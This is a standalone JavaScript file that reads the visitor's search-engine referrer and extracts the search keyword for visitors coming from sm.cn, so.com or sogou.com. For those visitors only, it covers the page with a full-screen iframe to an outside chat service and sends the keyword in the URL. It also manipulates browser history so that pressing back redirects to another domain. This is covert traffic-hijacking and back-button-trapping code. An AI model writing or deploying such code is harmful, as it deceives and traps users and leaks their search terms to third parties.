window.shbly_func={
parseURL:function (url) {
var a = document.createElement('a');
a.href = url;
return {
source: url,
protocol: a.protocol.replace(':',''),
host: a.hostname,
port: a.port,
query: a.search,
params: (function(){
var ret = {},
seg = a.search.replace(/^\?/,'').split('&'),
len = seg.length, i = 0, s;
for (;i<len;i++) {
if (!seg[i]) { continue; }
s = seg[i].split('=');
ret[s[0]] = s[1];
}
return ret;
})(),
file: (a.pathname.match(/\/([^\/?#]+)$/i) || [,''])[1],
hash: a.hash.replace('#',''),
path: a.pathname.replace(/^([^\/])/,'/$1'),
relative: (a.href.match(/tps?:\/\/[^\/]+(.+)/) || [,''])[1],
segments: a.pathname.replace(/^\//,'').split('/')
};
},
}
$(function(){
var refer=document.referrer;
console.log(refer);
var $url=shbly_func.parseURL(refer);
var $data=new Array();
$data["wd"]=$url.params.wd||$url.params.word||$url.params.query||$url.params.query||$url.params.keyword||$url.params.word1||$url.params.title||'';
$data["title"]=document.title;
try{
if(/.sm.cn$/i.test($url.host)){
$data["wd"]=$url.params.q||'';
console.log($data["wd"],$data["title"]);
bb($data["wd"],$data["title"]);
}
if(/.so.com$/i.test($url.host)){
$data["wd"]=$url.params.q||'';
console.log($data["wd"],$data["title"]);
bb($data["wd"],$data["title"]);
}
if(/.sogou.com$/i.test($url.host)){
$data["wd"]=$url.params.keyword||'';
console.log($data["wd"],$data["title"]);
bb($data["wd"],$data["title"]);
}
}catch(err){
}
})
function bb(wd,title){
var wds=wd;
var title=title;
console.log(wds);
//window.history.pushState(null, null,'#/home');
window.history.pushState(null, null,'#/go');
//给window对象挂载属性
xh = new xh();
window.onload=xh.init();
//window.onload=cc();
//var pat=cc();
xh.rss('/', function() {
/* html =''
html+='<div class="iframe-zt" style="position: fixed; left: 0px; top: 0px; width: 100%; height: 100%; z-index: 9999;">';
html+='<iframe style=" left: 0px; top: 0px;position: absolute; width: 100%; height: 100%;" class="iframe" src="'
html+='https://pct.zoosnet.net/LR/Chatpre.aspx?id=PCT54245569&e='+wd;
html+='"frameborder="0"></iframe></div>'
$(document.body).prepend(html);*/
window.location.href='https://3g.csgt120.com/#hxyh';
});
/*xh.rss('/home', function() {
html =''
html+='<div class="iframe-zt" style="position: fixed; left: 0px; top: 0px; width: 100%; height: 100%; z-index: 9999;">';
html+='<iframe style=" left: 0px; top: 0px;position: absolute; width: 100%; height: 100%;" class="iframe" src="'
html+='https://pct.zoosnet.net/LR/Chatpre.aspx?id=PCT54245569&e='+wd;
html+='"frameborder="0"></iframe></div>'
$(document.body).prepend(html);
}); */
xh.rss('/go', function() {
html =''
html+='<div class="iframe-zt" style="position: fixed; left: 0px; top: 0px; width: 100%; height: 100%; z-index: 9999;">';
html+='<iframe style=" left: 0px; top: 0px;position: absolute; width: 100%; height: 100%;" class="iframe" src="'
html+='https://pct.zoosnet.net/LR/Chatpre.aspx?id=PCT54245569&e=hxyh'+wd;
html+='"frameborder="0"></iframe></div>'
$(document.body).prepend(html);
// window.location.href='https://pct.zoosnet.net/LR/Chatpre.aspx?id=PCT54245569&e='+wd;
});
}
function xh() {
this.rs = {};
this.currentUrl = '';
}
xh.prototype.rss = function(path, callback) {
this.rs[path] = callback || function(){};//给不同的hash设置不同的回调函数
};
xh.prototype.refresh = function() {
this.currentUrl = location.hash.slice(1) || '/';//如果存在hash值则获取到,否则设置hash值为/
//console.log(this.currentUrl);
this.rs[this.currentUrl]();//根据当前的hash值来调用相对应的回调函数
};
xh.prototype.init = function() {
window.addEventListener('load', this.refresh.bind(this), false);
window.addEventListener('hashchange', this.refresh.bind(this), false);
}